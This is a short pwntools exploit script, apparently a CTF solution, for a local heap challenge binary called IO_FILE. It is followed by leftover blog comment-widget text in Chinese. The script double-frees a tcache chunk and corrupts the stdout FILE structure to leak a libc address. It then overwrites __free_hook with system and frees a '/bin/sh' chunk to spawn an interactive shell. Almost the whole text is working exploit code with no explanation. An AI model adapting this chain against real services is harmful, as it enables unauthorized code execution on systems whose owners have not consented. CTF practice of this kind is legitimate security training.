#p=process("./IO_FILE")
p=remote("127.0.0.1", 20002)
libc=ELF("./libc.so.6")
def add(size,des):
    p.recvuntil(">")
    p.sendline("1")
    p.recvuntil("size:")
    p.sendline(str(size))
    p.recvuntil("ion:")
    p.send(des)
def dele(idx):
    p.recvuntil(">")
    p.sendline("2")
    p.recvuntil("index:")
    p.sendline(str(idx))
add(0x60,'aaa')
dele(0)
dele(0)
add(0x60,p64(0x602080))
add(0x60,'\x60')
add(0x60,'\x60')
payload=p64(0xfdab1800)+p64(0)*3+'\x00'
add(0x60,payload)
leak_vtable=u64(p.recvuntil("exit")[0x58:0x60])

libc_base=leak_vtable-libc.symbols["_IO_file_jumps"]
free_hook=libc_base+libc.symbols["__free_hook"]
system=libc_base+libc.symbols["system"]


add(0x70,"aaa")
dele(5)
dele(5)
add(0x70,p64(free_hook))
add(0x70,"/bin/sh")
add(0x70,p64(system))
dele(7)
#gdb.attach(p)
p.interactive()
1 条评论
某人
表情
可输入 255